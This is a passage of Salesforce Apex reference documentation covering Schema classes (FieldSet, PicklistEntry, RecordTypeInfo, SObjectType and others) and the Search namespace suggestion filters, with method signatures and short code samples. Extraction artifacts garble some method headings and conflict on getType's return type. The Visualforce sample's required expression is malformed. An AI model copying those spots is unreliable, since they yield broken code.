Returns the display description for the standard or custom app.

Signature

public String getDescription()

Return Value

Type: String

gLabel()
Returns the display label for the standard or custom app.

Signature

public String getLabel()

Return Value

Type: String

Usage
The display label changes when tabs are renamed in the Salesforce user interface. See the Salesforce online help for more information.

gLogoUrl()
Returns a fully qualified URL to the logo image associated with the standard or custom app.
Signature

`public String getLogoUrl()`

Return Value
Type: String

**getNamespace()**

Returns the developer namespace prefix of a Salesforce AppExchange managed package.

Signature

`public String getNamespace()`

Return Value
Type: String

Usage

This namespace prefix corresponds to the namespace prefix of the Developer Edition organization that was enabled to allow publishing a managed package. This method applies to a custom app containing a set of tabs and installed as part of a managed package.

**getTabs()**

Returns metadata information about the standard or custom app’s displayed tabs.

Signature

`public List<Schema.DescribeTabResult> getTabs()`

Return Value
Type: List<Schema.DescribeTabResult>

**isSelected()**

Returns `true` if this standard or custom app is the user’s currently selected app. Otherwise, returns `false`.

Signature

`public Boolean isSelected()`

Return Value
Type: Boolean

**DisplayType Enum**

A `Schema.DisplayType` enum value is returned by the field describe result’s `getType` method.
# Namespace

## Schema

<table>
<thead>
<tr>
<th>Type Field Value</th>
<th>What the Field Object Contains</th>
</tr>
</thead>
<tbody>
<tr>
<td>address</td>
<td>Address values</td>
</tr>
<tr>
<td>anytype</td>
<td>Any value of the following types: String, Picklist, Boolean, Integer, Double, Percent, ID, Date, DateTime, URL, or Email.</td>
</tr>
<tr>
<td>base64</td>
<td>Base64-encoded arbitrary binary data (of type base64Binary)</td>
</tr>
<tr>
<td>Boolean</td>
<td>Boolean (true or false) values</td>
</tr>
<tr>
<td>Combobox</td>
<td>Comboboxes, which provide a set of enumerated values and allow the user to specify a value not in the list</td>
</tr>
<tr>
<td>Currency</td>
<td>Currency values</td>
</tr>
<tr>
<td>DataCategoryGroupReference</td>
<td>Reference to a data category group or a category unique name</td>
</tr>
<tr>
<td>Date</td>
<td>Date values</td>
</tr>
<tr>
<td>DateTime</td>
<td>DateTime values</td>
</tr>
<tr>
<td>Double</td>
<td>Double values</td>

<tr>
<td>ID</td>
<td>Primary key field for an object</td>
</tr>
<tr>
<td>Integer</td>
<td>Integer values</td>
</tr>
<tr>
<td>Long</td>
<td>Long values</td>
</tr>
<tr>
<td>MultiPicklist</td>
<td>Multi-select picklists, which provide a set of enumerated values from which multiple values can be selected</td>
</tr>
<tr>
<td>Percent</td>
<td>Percent values</td>
</tr>
<tr>
<td>Phone</td>
<td>Phone numbers. Values can include alphabetic characters. Client applications are responsible for phone number formatting.</td>
</tr>
<tr>
<td>Picklist</td>
<td>Single-select picklists, which provide a set of enumerated values from which only one value can be selected</td>
</tr>
<tr>
<td>Reference</td>
<td>Cross-references to a different object, analogous to a foreign key field</td>
</tr>
<tr>
<td>String</td>
<td>String values</td>
</tr>
<tr>
<td>TextArea</td>
<td>String values that are displayed as multiline text fields</td>
</tr>
<tr>
<td>Time</td>
<td>Time values</td>
</tr>
<tr>
<td>URL</td>
<td>URL values that are displayed as hyperlinks</td>
</tr>
</tbody>
</table>
Usage
For more information, see Field Types in the Object Reference for Salesforce. For more information about the methods shared by all enums, see Enum Methods.

FieldDescribeOptions Enum
A Schema.FieldDescribeOptions enum value is a parameter in the SObjectType.getDescribe method.

Usage
For more information about the method using this enum, see getDescribe(options).

Enum Values
The following are the values of the Schema.FieldDescribeOptions enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEFAULT</td>
<td>Compute context-specific, describe field results.</td>
</tr>
<tr>
<td>FULL_DESCRIBE</td>
<td>Compute all aspects of describe field results.</td>
</tr>
</tbody>
</table>

FieldSet Class
Contains methods for discovering and retrieving the details of field sets created on sObjects.

Namespace
Schema

Usage
Use the methods in the Schema.FieldSet class to discover the fields contained within a field set, and get details about the field set itself, such as the name, namespace, label, and so on. The following example shows how to get a collection of field set describe result objects for an sObject. The key of the returned Map is the field set name, and the value is the corresponding field set describe result.

```java
Map<String, Schema.FieldSet> FsMap = Schema.SObjectType.Account.fieldSets.getMap();
```

Field sets are also available from sObject describe results. The following lines of code are equivalent to the prior sample:

```java
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FsMap = d.fieldSets.getMap();
```

To work with an individual field set, you can access it via the map of field sets on an sObject or, when you know the name of the field set in advance, using an explicit reference to the field set. The following two lines of code retrieve the same field set:

```java
Schema.FieldSet fs1 = Schema.SObjectType.Account.fieldSets.getMap().get('field_set_name');
Schema.FieldSet fs2 = Schema.SObjectType.Account.fieldSets.getFieldSet('field_set_name');
```
Example: Displaying a Field Set on a Visualforce Page

This sample uses Schema.FieldSet and Schema.FieldSetMember methods to dynamically get all the fields in the Dimensions field set for the Merchandise custom object. The list of fields is then used to construct a SOQL query that ensures those fields are available for display. The Visualforce page uses the MerchandiseDetails class as its controller.

```apex
public class MerchandiseDetails {
    public Merchandise__c merch { get; set; }

    public MerchandiseDetails() {
        this.merch = getMerchandise();
    }

    public List<Schema.FieldSetMember> getFields() {
        return SObjecttype.Merchandise__c.FieldSets.Dimensions.getFields();
    }

    private Merchandise__c getMerchandise() {
        String query = 'SELECT ';
        for(Schema.FieldSetMember f : this.getFields()) {
            query += f.getFieldPath() + ', ';
        }
        query += 'Id, Name FROM Merchandise__c LIMIT 1';
        return Database.query(query);
    }
}
```

The Visualforce page using the above controller is simple:

```apex
<apex:page controller="MerchandiseDetails">
    <apex:form >
        <apex:pageBlock title="Product Details">
            <apex:pageBlockSection title="Product">
                <apex:inputField value="{!merch.Name}"/>
            </apex:pageBlockSection>

            <apex:pageBlockSection title="Dimensions">
                <apex:repeat value="{!fields}" var="f">
                    <apex:inputField value="{!merch[f.fieldPath]}"
                        required="#OR(f.required, f.dbrequired)="/>
                </apex:repeat>
            </apex:pageBlockSection>
        </apex:pageBlock>
    </apex:form>
</apex:page>
```

One thing to note about the above markup is the expression used to determine if a field on the form should be indicated as being a required field. A field in a field set can be required by either the field set definition, or the field's own definition. The expression handles both cases.
FieldSet Methods

The following are methods for FieldSet. All are instance methods.

IN THIS SECTION:
  - getDescription()
    Returns the field set's description.
  - getFields()
    Returns a list of Schema.FieldSetMember objects for the fields making up the field set.
  - getLabel()
    Returns the translation of the text label that is displayed next to the field in the Salesforce user interface.
  - getName()
    Returns the field set's name.
  - getNamespace()
    Returns the field set's namespace.
  - getSObjectType()
    Returns the Schema.sObjectType of the sObject containing the field set definition.

getDescription()

Returns the field set's description.

Signature

public String getDescription()

Return Value

Type: String

Usage

Description is a required field for a field set, intended to describe the context and content of the field set. It's often intended for administrators who might be configuring a field set defined in a managed package, rather than for end users.

getFields()

Returns a list of Schema.FieldSetMember objects for the fields making up the field set.

Signature

public List<FieldSetMember> getFields()

Return Value

Type: List<Schema.FieldSetMember>
**getLabel()**
Returns the translation of the text label that is displayed next to the field in the Salesforce user interface.

Signature
```
public String getLabel()
```

Return Value
Type: `String`

**getName()**
Returns the field set's name.

Signature
```
public String getName()
```

Return Value
Type: `String`

**getNamespace()**
Returns the field set's namespace.

Signature
```
public String getNamespace()
```

Return Value
Type: `String`

Usage
The returned namespace is an empty string if your organization hasn’t set a namespace, and the field set is defined in your organization. Otherwise, it’s the namespace of your organization, or the namespace of the managed package containing the field set.

**getSObjectType()**
Returns the `Schema.sObjectType` of the `sObject` containing the field set definition.

Signature
```
public Schema.SObjectType getSObjectType()
```

Return Value
Type: `Schema.SObjectType`
FieldSetMember Class

Contains methods for accessing the metadata for field set member fields.

Namespace

Schema

Usage

Use the methods in the Schema.FieldSetMember class to get details about fields contained within a field set, such as the field label, type, a dynamic SOQL-ready field path, and so on. The following example shows how to get a collection of field set member describe result objects for a specific field set on an sObject:

```java
List<Schema.FieldSetMember> fields =
    Schema.SObjectType.Account.fieldSets.getMap().get('field_set_name').getFields();
```

If you know the name of the field set in advance, you can access its fields more directly using an explicit reference to the field set:

```java
List<Schema.FieldSetMember> fields =
    Schema.SObjectType.Account.fieldSets.field_set_name.getFields();
```

SEE ALSO:

FieldSet Class

FieldSetMember Methods

The following are methods for FieldSetMember. All are instance methods.

IN THIS SECTION:

getDBRequired()

Returns true if the field is required by the field's definition in its sObject, otherwise, false.

getFieldPath()

Returns a field path string in a format ready to be used in a dynamic SOQL query.

getLabel()

Returns the text label that's displayed next to the field in the Salesforce user interface.

getRequired()

Returns true if the field is required by the field set, otherwise, false.

getType()

Returns the field's Apex data type.

g getSObjectField()

Returns the token for this field.

getDBRequired() (method)

Returns true if the field is required by the field's definition in its sObject, otherwise, false.
**public Boolean getDBRequired()**

Return Value  
Type: **Boolean**

**getFieldPath()**  
Returns a field path string in a format ready to be used in a dynamic SOQL query.

**public String getFieldPath()**

Return Value  
Type: **String**

Example  
See [Displaying a Field Set on a Visualforce Page](#) for an example of how to use this method.

**getLabel()**  
Returns the text label that’s displayed next to the field in the Salesforce user interface.

**public String getLabel()**

Return Value  
Type: **String**

**public Boolean getRequired()**  
Returns **true** if the field is required by the field set, otherwise, **false**.

**public Boolean getRequired()**

Return Value  
Type: **Boolean**

**getType()**  
Returns the field’s Apex data type.

**public String getType()**
Signature

```java
public Schema.DisplayType getType()
```

Return Value

Type: Schema.DisplayType

getSObjectField()

Returns the token for this field.

Signature

```java
public Schema.sObjectField getSObjectField()
```

Return Value

Type: Schema.SObjectField

### PicklistEntry Class

Represents a picklist entry.

### Namespace

**Schema**

### Usage

Picklist fields contain a list of one or more items from which a user chooses a single item. They display as drop-down lists in the Salesforce user interface. One of the items can be configured as the default item.

A `Schema.PicklistEntry` object is returned from the field describe result using the `getPicklistValues` method. For example:

```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.PicklistEntry> P = F.getPicklistValues();
```

### PicklistEntry Methods

The following are methods for `PicklistEntry`. All are instance methods.

**IN THIS SECTION:**

- **getLabel()**
  
  Returns the display name of this item in the picklist.

- **getValue()**
  
  Returns the value of this item in the picklist.

- **isActive()**
  
  Returns `true` if this item must be displayed in the drop-down list for the picklist field in the user interface, `false` otherwise.
isDefaultValue()  
Returns true if this item is the default value for the picklist, false otherwise. Only one item in a picklist can be designated as the default.

getLabel()  
Returns the display name of this item in the picklist.

Signature  
public String getLabel()  

Return Value  
Type: String

getValue()  
Returns the value of this item in the picklist.

Signature  
public String getValue()  

Return Value  
Type: String

isActive()  
Returns true if this item must be displayed in the drop-down list for the picklist field in the user interface, false otherwise.

Signature  
public Boolean isActive()  

Return Value  
Type: Boolean

isDefaultValue()  
Returns true if this item is the default value for the picklist, false otherwise. Only one item in a picklist can be designated as the default.

Signature  
public Boolean isDefaultValue()
Return Value
Type: Boolean

RecordTypeInfo Class
Contains methods for accessing record type information for an sObject with associated record types.

Namespace
Schema

Usage
A RecordTypeInfo object is returned from the sObject describe result using the `getRecordTypeInfos` method. For example:

```java
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.RecordTypeInfo> RT = R.getRecordTypeInfos();
```

In addition to the `getRecordTypeInfos` method, you can use the `getRecordTypeInfosById` and the `getRecordTypeInfosByName` methods. These methods return maps that associate RecordTypeInfo with record IDs and record labels, respectively.

Example
The following example assumes at least one record type has been created for the Account object:

```java
RecordType rt = [SELECT Id,Name FROM RecordType WHERE SobjectType='Account' LIMIT 1];
Map<Id,Schema.RecordTypeInfo> rtMapById = d.getRecordTypeInfosById();
Schema.RecordTypeInfo rtById = rtMapById.get(rt.id);
Map<String,Schema.RecordTypeInfo> rtMapByName = d.getRecordTypeInfosByName();
Schema.RecordTypeInfo rtByName = rtMapByName.get(rt.name);
System.assertEquals(rtById,rtByName);
```

RecordTypeInfo Methods
The following are methods for RecordTypeInfo. All are instance methods.

IN THIS SECTION:
- `getDeveloperName()`
  Returns the developer name for this record type.
- `getName()`
  Returns the UI label of this record type. The label can be translated into any language that Salesforce supports.
- `getRecordTypeId()`
  Returns the ID of this record type.
- `isActive()`
  Returns `true` if this record type is active, `false` otherwise.
isAvailable()
Returns true if this record type is available to the current user, false otherwise. Use this method to display a list of available record types to the user when he or she is creating a new record.

isDefaultRecordTypeMapping()
Returns true if this is the default record type for the user, false otherwise.

isMaster()
Returns true if this is the master record type and false otherwise. The master record type is the default record type that's used when a record has no custom record type associated with it.

g DEVELOPER NAME ()
Returns the developer name for this record type.

Signature
public String getDeveloperName()

Return Value
Type: String

ggetName ()
Returns the UI label of this record type. The label can be translated into any language that Salesforce supports.

Signature
public String getName()

Return Value
Type: String

ggetRecordTypeId ()
Returns the ID of this record type.

Signature
public ID getRecordTypeId()

Return Value
Type: ID

isActive()
Returns true if this record type is active, false otherwise.
Signature

public Boolean isActive()

Return Value
Type: Boolean

isAvailable()

Returns true if this record type is available to the current user, false otherwise. Use this method to display a list of available record types to the user when he or she is creating a new record.

Signature

public Boolean isAvailable()

Return Value
Type: Boolean

isDefaultRecordTypeMapping()

Returns true if this is the default record type for the user, false otherwise.

Signature

public Boolean isDefaultRecordTypeMapping()

Return Value
Type: Boolean

isMaster()

Returns true if this is the master record type and false otherwise. The master record type is the default record type that’s used when a record has no custom record type associated with it.

Signature

public Boolean isMaster()

Return Value
Type: Boolean

SOAPType Enum

A Schema.SOAPType enum value is returned by the field describe result getSoapType method.
Namespace

Schema

<table>
<thead>
<tr>
<th>Type Field Value</th>
<th>What the Field Object Contains</th>
</tr>
</thead>
<tbody>
<tr>
<td>anytype</td>
<td>Any value of the following types: String, Boolean, Integer, Double, ID, Date or DateTime.</td>
</tr>
<tr>
<td>base64binary</td>
<td>Base64-encoded arbitrary binary data (of type base64Binary)</td>
</tr>
<tr>
<td>Boolean</td>
<td>Boolean (true or false) values</td>
</tr>
<tr>
<td>Date</td>
<td>Date values</td>
</tr>
<tr>
<td>DateTime</td>
<td>DateTime values</td>
</tr>
<tr>
<td>Double</td>
<td>Double values</td>
</tr>
<tr>
<td>ID</td>
<td>Primary key field for an object</td>
</tr>
<tr>
<td>Integer</td>
<td>Integer values</td>
</tr>
<tr>
<td>String</td>
<td>String values</td>
</tr>
<tr>
<td>Time</td>
<td>Time values</td>
</tr>
</tbody>
</table>

Usage

For more information, see SOAPTypes in the SOAP API Developer Guide. For more information about the methods shared by all enums, see Enum Methods.

SObjectDescribeOptions Enum

A Schema.SObjectDescribeOptions enum value is a parameter in the SObjectType.getDescribe method.

Usage

For more information about the method using this enum, see getDescribe(options).

Enum Values

The following are the values of the Schema.SObjectDescribeOptions enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEFAULT</td>
<td>Either eager-load or lazy-load depending on the API version.</td>
</tr>
<tr>
<td>DEFERRED</td>
<td>Lazy-load child relationships; do not load all child relationships at the time of first invocation of the method.</td>
</tr>
<tr>
<td>FULL</td>
<td>Eager-load all elements of the describe, including child relationships, up-front at the time of method invocation.</td>
</tr>
</tbody>
</table>
See `getDescribe(options)`.

**SObjectField Class**

A `Schema.sObjectField` object is returned from the field describe result using the `getController` and `getSObjectField` methods.

**Namespace**

`Schema`

**Example**

```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
Schema.sObjectField T = F.getSObjectField();
```

**sObjectField Methods**

The following are instance methods for `sObjectField`.

**IN THIS SECTION:**
- `getDescribe()`
  - Returns the describe field result for this field.
- `getDescribe(options)`
  - Returns the describe field result for this field. This method also provides an option to get all the describe field results for an object.

**getDescribe()**

Returns the describe field result for this field.

**Signature**

```java
public Schema.DescribeFieldResult getDescribe()
```

**Return Value**

Type: `Schema.DescribeFieldResult`

**getDescribe(options)**

Returns the describe field result for this field. This method also provides an option to get all the describe field results for an object.

**Signature**

```java
public Schema.DescribeFieldResult getDescribe(Object options)
```
Parameters

**options**

Type: Object

Use this parameter to pass FieldDescribeOptions.FULL_DESCRIBE when a subset of system objects could have different results for picklist values based on the context they're invoked in. This parameter computes all aspects of describe field results.

For example, `AIConversationContext.PersonType` field is a picklist that contains a list of accessible object types.

Return Value

Type: Schema.DescribeFieldResult

**SObjectType Class**

A `Schema.sObjectType` object is returned from the field describe result using the `getReferenceTo` method, or from the sObject describe result using the `getSObjectType` method.

**Namespace**

`Schema`

**Usage**

```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.sObjectType> P = F.getReferenceTo();
```

**SObjectType Methods**

The following are methods for `SObjectType`. All are instance methods.

**IN THIS SECTION:**

- `getDescribe()`: Returns the describe sObject result for this field.
- `getDescribe(options)`: Returns the describe sObject result for this field; the parameter value determines whether all child relationships are loaded up-front, or not.
- `newSObject()`: Constructs a new sObject of this type.
- `newSObject(id)`: Constructs a new sObject of this type, with the specified ID.
- `newSObject(recordTypeId, loadDefaults)`: Constructs a new sObject of this type, and optionally, of the specified record type ID and with default custom field values.
**getDescribe()**

Returns the describe sObject result for this field.

**Signature**

```java
public Schema.DescribeSObjectResult getDescribe()
```

**Return Value**

Type: `Schema.DescribeSObjectResult`

**getDescribe(options)**

Returns the describe sObject result for this field; the parameter value determines whether all child relationships are loaded up-front, or not.

**Signature**

```java
public Schema.DescribeSObjectResult getDescribe(Object options)
```

**Parameters**

- **options**
  
  Type: Object

  The parameter values determine how the elements of the describe operation are loaded.

  - Use `SObjectDescribeOptions.FULL` to eager-load all elements of the describe, including child relationships, up-front at the time of method invocation. This describe guarantees fully coherent results, even if the describe object is passed to another namespace, API version, or other Apex context that may have different results when generating describe attributes.
  
  - Use `SObjectDescribeOptions.DEFERRED` to enable lazy initialization of describe attributes on first use. This means that all child relationships will not be loaded at the time of first invocation of the method.
  
  - Use `SObjectDescribeOptions.DEFAULT` to default to either eager-load or lazy-load depending on the API version.

  The type of describe operation, as determined by the parameter value is depicted in this table.

**Table 8: Type of Load for SObjectType.getDescribe()**

<table>
<thead>
<tr>
<th>Parameter Value</th>
<th>API Version 43.0 and Earlier</th>
<th>API Version 44.0 and Later</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full</td>
<td>Eager</td>
<td>Eager</td>
</tr>
<tr>
<td>Deferred</td>
<td>Lazy</td>
<td>Lazy</td>
</tr>
<tr>
<td>Default</td>
<td>Lazy</td>
<td>Lazy</td>
</tr>
</tbody>
</table>

**Return Value**

Type: `Schema.DescribeSObjectResult`

**newSObject()**

Constructs a new sObject of this type.
Signature

```java
public sObject newSObject()
```

Return Value

Type: `sObject`

Example

For an example, see Dynamic sObject Creation Example.

**newSObject(id)**

Constructs a new sObject of this type, with the specified ID.

Signature

```java
public sObject newSObject(ID id)
```

Parameters

- **id**
  - Type: `ID`

Usage

For the argument, pass the ID of an existing record in the database.

After you create a new sObject, the sObject returned has all fields set to `null`. You can set any updateable field to desired values and then update the record in the database. Only the fields you set new values for are updated and all other fields which are not system fields are preserved.

**newSObject(recordTypeId, loadDefaults)**

Constructs a new sObject of this type, and optionally, of the specified record type ID and with default custom field values.

Signature

```java
public sObject newSObject(ID recordTypeId, Boolean loadDefaults)
```

Parameters

- **recordTypeId**
  - Type: `ID`
  
  Specifies the record type ID of the sObject to create. If no record type exists for this sObject, use `null`. If the sObject has record types and you specify `null`, the default record type is used.
**loadDefaults**
Type: Boolean

Specifies whether to populate custom fields with their predefined default values (true) or not (false).

Return Value
Type: sObject

Usage
- For required fields that have no default values, make sure to provide a value before inserting the new sObject. Otherwise, the insertion results in an error. An example is the Account Name field or a master-detail relationship field.
- Since picklists and multi-select picklists can have default values specified per record type, this method populates the default value corresponding to the record type specified.
- If fields have no predefined default values and the loadDefaults argument is true, this method creates the sObject with field values of null.
- If the loadDefaults argument is false, this method creates the sObject with field values of null.
- This method populates read-only custom fields of the new sObject with default values. You can then insert the new sObject with the read-only fields, even though these fields cannot be edited after they’re inserted.
- If a custom field is marked as unique and also provides a default value, inserting more than one new sObject will cause a run-time exception because of duplicate field values.

To learn more about default field values, see “Default Field Values” in the Salesforce online help.

**Example: Creating New sObject with Default Values**

This sample creates an account with any default values populated for its custom fields, if any, using the newSObject method. It also creates a second account for a specific record type. For both accounts, the sample sets the Name field, which is a required field that doesn’t have a default value, before inserting the new accounts.

```java
// Create an account with predefined default values
Account acct = (Account)Account.sObjectType.newSObject(null, true);
// Provide a value for Name
acct.Name = 'Acme';
// Insert new account
insert acct;

// This is for record type RT1 of Account
ID rtId = [SELECT Id FROM RecordType WHERE sObjectType='Account' AND Name='RT1'].Id;
Account acct2 = (Account)Account.sObjectType.newSObject(rtId, true);
// Provide a value for Name
acct2.Name = 'Acme2';
// Insert new account
insert acct2;
```

**Search Namespace**
The Search namespace provides classes for getting search results and suggestion results.

The following are the classes in the Search namespace.
IN THIS SECTION:

KnowledgeSuggestionFilter Class
Filter settings that narrow the results from a call to `System.Search.suggest(searchQuery, sObjectType, options)` when the SOSL search query contains a KnowledgeArticleVersion object.

QuestionSuggestionFilter Class
The `Search.QuestionSuggestionFilter` class filters results from a call to `System.Search.suggest(searchQuery, sObjectType, options)` when the SOSL search query contains a FeedItem object.

SearchResult Class
A wrapper object that contains an sObject and search metadata.

SearchResults Class
Wraps the results returned by the `Search.find(String)` method.

SuggestionOption Class
Options that narrow record and article suggestion results returned from a call to `System.Search.suggest(String, String, Search.SuggestionOption)`.

SuggestionResult Class
A wrapper object that contains an sObject.

SuggestionResults Class
Wraps the results returned by the `Search.suggest(String, String, Search.SuggestionOption)` method.

SEE ALSO:

`find(searchQuery)`
`suggest(searchQuery, sObjectType, suggestions)`

KnowledgeSuggestionFilter Class
Filter settings that narrow the results from a call to `System.Search.suggest(searchQuery, sObjectType, options)` when the SOSL search query contains a KnowledgeArticleVersion object.

Namespace
Search

KnowledgeSuggestionFilter Methods
The following are methods for `KnowledgeSuggestionFilter`.

IN THIS SECTION:

`addArticleType(articleType)`
Adds a filter that narrows suggestion results to display the specified article type. This filter is optional.

`addDataCategory(dataCategoryGroupName, dataCategoryName)`
Adds a filter that narrows suggestion results to display articles in the specified data category. This filter is optional.
addTopic(topic)
Specifies the article topic to return. This filter is optional.

setChannel(channelName)
Sets a channel to narrow the suggestion results to articles in the specified channel. This filter is optional.

setDataCategories(dataCategoryFilters)
Adds filters that narrow suggestion results to display articles in the specified data categories. Use this method to set multiple data category group and name pairs in one call. This filter is optional.

setLanguage(localeCode)
Sets a language to narrow the suggestion results to display articles in that language. This filter value is required in calls to System.Search.suggest(String, String, Search.SuggestionOption).

setPublishStatus(publishStatus)
Sets a publish status to narrow the suggestion results to display articles with that status. This filter value is required in calls to System.Search.suggest(String, String, Search.SuggestionOption).

setValidationStatus(validationStatus)
Sets a validation status to narrow the suggestion results to display articles with that status. This filter is optional.

addArticleType(articleType)
Adds a filter that narrows suggestion results to display the specified article type. This filter is optional.

Signature
public void addArticleType(String articleType)

Parameters
articleType
Type: String
A three-character ID prefix indicating the desired article type.

Return Value
Type: void

Usage
To add more than 1 article type, call the method multiple times.

addDataCategory(dataCategoryGroupName, dataCategoryName)
Adds a filter that narrows suggestion results to display articles in the specified data category. This filter is optional.

Signature
public void addDataCategory(String dataCategoryGroupName, String dataCategoryName)
Parameters

dataCategoryGroupName
  Type: String
  The name of the data category group
dataCategoryName
  Type: String
  The name of the data category.

Return Value
Type: void

Usage
To set multiple data categories, call the method multiple times. The name of the data category group and name of the data category for desired articles, expressed as a mapping, for example,
Search.KnowledgeSuggestionFilter.addDataCategory('Regions', 'Asia').

addTopic(topic)
Specifies the article topic to return. This filter is optional.

Signature
public void addTopic(String topic)

Parameters
addTopic
  Type: String
  The name of the article topic.

Return Value
Type: void

Usage
To add more than 1 article topic, call the method multiple times.

setChannel(channelName)
Sets a channel to narrow the suggestion results to articles in the specified channel. This filter is optional.

Signature
public void setChannel(String channelName)
Parameters

channelName

Type: String

The name of a channel. Valid values are:

- AllChannels – Visible in all channels the user has access to
- App – Visible in the internal Salesforce Knowledge application
- Pkb – Visible in the public knowledge base
- Csp – Visible in the Customer Portal
- Prm – Visible in the Partner Portal

If channel isn’t specified, the default value is determined by the type of user:

- Pkb for a guest user
- Csp for a Customer Portal user
- Prm for a Partner Portal user
- App for any other type of user

If channel is specified, the specified value may not be the actual value requested, because of certain requirements.

- For guest, Customer Portal, and Partner Portal users, the specified value must match the default value for each user type. If the values don’t match or AllChannels is specified, then App replaces the specified value.
- For all users other than guest, Customer Portal, and Partner Portal users:
  - If Pkb, Csp, Prm, or App are specified, then the specified value is used.
  - If AllChannels is specified, then App replaces the specified value.

Return Value

Type: void

setDataCategories(dataCategoryFilters)

Adds filters that narrow suggestion results to display articles in the specified data categories. Use this method to set multiple data category group and name pairs in one call. This filter is optional.

Signature

public void setDataCategories(Map dataCategoryFilters)

Parameters

dataCategoryFilters

Type: Map

A map of data category group and data category name pairs.

Return Value

Type: void
**setLanguage** *(localeCode)*
Sets a language to narrow the suggestion results to display articles in that language. This filter value is required in calls to `System.Search.suggest(String, String, Search.SuggestionOption)`.

**Signature**

```
public void setLanguage(String localeCode)
```

**Parameters**

**localeCode**
Type: `String`

A locale code. For example, 'en_US' (English–United States), or 'es' (Spanish).

**Return Value**
Type: `void`

**SEE ALSO:**
- Supported Locales

**setPublishStatus** *(publishStatus)*
Sets a publish status to narrow the suggestion results to display articles with that status. This filter value is required in calls to `System.Search.suggest(String, String, Search.SuggestionOption)`.

**Signature**

```
public void setPublishStatus(String publishStatus)
```

**Parameters**

**publishStatus**
Type: `String`

A publish status. Valid values are:

- Draft—Articles aren’t published in Salesforce Knowledge.
- Online—Articles are published in Salesforce Knowledge.
- Archived—Articles aren’t published and are available in Archived Articles view.

**setValidationStatus** *(validationStatus)*
Sets a validation status to narrow the suggestion results to display articles with that status. This filter is optional.

**Signature**

```
public void setValidationStatus(String validationStatus)
```
Parameters

validationStatus
Type: String
An article validation status. These values are available in the ValidationStatus field on the KnowledgeArticleVersion object.

Return Value
Type: void

QuestionSuggestionFilter Class

The Search.QuestionSuggestionFilter class filters results from a call to System.Search.suggest(searchQuery, sObjectType, options) when the SOSL searchQuery contains a FeedItem object.

Namespace

Search

IN THIS SECTION:
QuestionSuggestionFilter Methods

QuestionSuggestionFilter Methods

The following are methods for QuestionSuggestionFilter.

IN THIS SECTION:

addGroupId(groupId)
Adds a filter to display questions associated with the single specified group whose ID is passed in as an argument. This filter is optional.

addNetworkId(networkId)
Adds a filter to display questions associated with the single specified network whose ID is passed in as an argument. This filter is optional.

addUserId(userId)
Adds a filter to display questions belonging to the single specified user whose ID is passed in as an argument. This filter is optional.

setGroupIds(groupIds)
Sets a new list of groups to replace the current list of groups where the group IDs are passed in as an argument. This filter is optional.

setNetworkIds(networkIds)
Sets a new list of networks to replace the current list of networks where the network IDs are passed in as an argument. This filter is optional.

setTopicId(topicId)
Sets a filter to display questions associated with the single specified topic whose ID is passed in as an argument. This filter is optional.

setUserIds(userIds)
Sets a new list of users to replace the current list of users where the users IDs are passed in as an argument. This filter is optional.
**addGroupId(groupId)**
Adds a filter to display questions associated with the single specified group whose ID is passed in as an argument. This filter is optional.

**Signature**
```
public void addGroupId(String groupId)
```

**Parameters**

**groupId**
- Type: `String`
- The ID for a group.

**Return Value**
Type: `void`

**Usage**
To add more than one group, call the method multiple times.

**addNetworkId(networkId)**
Adds a filter to display questions associated with the single specified network whose ID is passed in as an argument. This filter is optional.

**Signature**
```
public void addNetworkId(String networkId)
```

**Parameters**

**networkId**
- Type: `String`
- The ID of the Experience Cloud site about which you’re retrieving this information.

**Return Value**
Type: `void`

**Usage**
To add more than one network, call the method multiple times.

**addUserId(userId)**
Adds a filter to display questions belonging to the single specified user whose ID is passed in as an argument. This filter is optional.

**Signature**
```
public void addUserId(String userId)
```
Parameters

userId
  Type: String
  The ID for the user.

Return Value
Type: void

Usage
To add more than one user, call the method multiple times.

**setGroupIds(groupIds)**
Sets a new list of groups to replace the current list of groups where the group IDs are passed in as an argument. This filter is optional.

Signature

```java
public void setGroupIds(List<String> groupIds)
```

Parameters

**groupIds**
  Type: List<String>
  A list of group IDs.

Return Value
Type: void

**setNetworkIds(networkIds)**
Sets a new list of networks to replace the current list of networks where the network IDs are passed in as an argument. This filter is optional.

Signature

```java
public void setNetworkIds(List<String> networkIds)
```

Parameters

**networkIds**
  Type: List<String>
  A list of network IDs.

Return Value
Type: void
**setTopicId(topicId)**
Sets a filter to display questions associated with the single specified topic whose ID is passed in as an argument. This filter is optional.

**Signature**
```
public void setTopicId(String topicId)
```

**Parameters**
- `topicId`
  - Type: `String`
  - The ID for a topic.

**Return Value**
Type: `void`

**setUserIds(userIds)**
Sets a new list of users to replace the current list of users where the users IDs are passed in as an argument. This filter is optional.

**Signature**
```
public void setUserIds(List<String> userIds)
```

**Parameters**
- `userIds`
  - Type: `List<String>`
  - A list of user IDs.

**Return Value**
Type: `void`

**SearchResult Class**
A wrapper object that contains an sObject and search metadata.

**Namespace**
`Search`

**SearchResult Methods**
The following are methods for `SearchResult`. 
IN THIS SECTION:
  
  **getSObject()**
  Returns an sObject from a SearchResult object.

  **getSnippet(fieldName)**
  Returns a snippet from a Case, Feed, or Knowledge Article SearchResult object based on the specified field name.

  **getSnippet()**
  Returns a snippet from a SearchResult object based on the default field.

**getSObject()**
Returns an sObject from a SearchResult object.

**Signature**

```java
public SObject getSObject()
```

**Return Value**

Type: `SObject`

**SEE ALSO:**
  
  `find(searchQuery)`
  
  Dynamic SOSL

**getSnippet(fieldName)**
Returns a snippet from a Case, Feed, or Knowledge Article SearchResult object based on the specified field name.

**Signature**

```java
public String getSnippet(String fieldName)
```

**Parameters**

`fieldName`  
Type: `String`  
The field name to use for creating the snippet.  

Valid values: `Case.Casenumber`, `FeedPost.Title`, `KnowledgeArticleVersion.Title`

**Return Value**

Type: `String`

**SEE ALSO:**
  
  `find(searchQuery)`
  
  Dynamic SOSL
**getSnippet()**
Returns a snippet from a SearchResult object based on the default field.

**Signature**
```
public String getSnippet()
```

**Return Value**
Type: String

**SEE ALSO:**
find(searchQuery)
